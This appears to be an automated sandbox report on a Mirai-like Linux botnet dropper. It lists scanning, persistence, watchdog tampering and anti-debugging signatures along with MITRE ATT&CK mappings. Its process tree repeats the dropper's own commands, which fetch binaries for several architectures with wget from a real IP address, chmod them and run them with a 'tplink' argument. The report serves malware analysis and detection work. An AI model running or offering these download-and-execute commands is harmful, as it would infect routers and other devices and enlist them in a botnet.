Analysis
- max time kernel
128s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
07/08/2026, 17:02
General
- Target 01f4fb77ac1d7551b003c910a0991ae5af4ed50a3d5259adb668d4c06eb540cc
- Size 859B
- Sample260807-vkfv2azerf
- SHA256 01f4fb77ac1d7551b003c910a0991ae5af4ed50a3d5259adb668d4c06eb540cc
Malware Config
Signatures
- Contacts a large (19748) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Detects suspicious XORed keyword - Mozilla/5.0 5 IoCs
- File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 2 IoCs
- Executes dropped EXE 5 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Traces itself 1 IoCs
Traces itself to prevent debugging attempts
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Reads runtime system information 37 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/01f4fb77ac1d7551b003c910a0991ae5af4ed50a3d5259adb668d4c06eb540cc/tmp/01f4fb77ac1d7551b003c910a0991ae5af4ed50a3d5259adb668d4c06eb540cc1⤵
- Executes dropped EXE
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/bin/rmrm -f d2⤵
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/bin/rmrm -f d2⤵
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/usr/bin/wgetwget -q http://95.155.151.113/d/slim.mips -O d2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/wcwc -c2⤵
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/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
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/tmp/d./d tplink2⤵
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/bin/rmrm -f d2⤵
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/bin/rmrm -f d2⤵
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/usr/bin/wgetwget -q http://95.155.151.113/d/slim.mpsl -O d2⤵
- Writes file to tmp directory
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/usr/bin/wcwc -c2⤵
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/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
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/tmp/d./d tplink2⤵
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/bin/rmrm -f d2⤵
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/bin/rmrm -f d2⤵
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/usr/bin/wgetwget -q http://95.155.151.113/d/xd.mips -O d2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/wcwc -c2⤵
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/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
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/tmp/d./d tplink2⤵
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/bin/rmrm -f d2⤵
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/bin/rmrm -f d2⤵
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/usr/bin/wgetwget -q http://95.155.151.113/d/xd.mpsl -O d2⤵
- Writes file to tmp directory
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/usr/bin/wcwc -c2⤵
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/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
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/tmp/d./d tplink2⤵
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/bin/rmrm -f d2⤵
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/bin/rmrm -f d2⤵
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/usr/bin/wgetwget -q http://95.155.151.113/d/slim.arm7 -O d2⤵
- Writes file to tmp directory
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/usr/bin/wcwc -c2⤵
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/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
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/tmp/d./d tplink2⤵
- Deletes itself
- Modifies Watchdog functionality
- Traces itself
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Reads runtime system information
- Writes file to tmp directory
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
2RC Scripts
2Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
2RC Scripts
2Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
sysnetd
d
d
d
d
d
root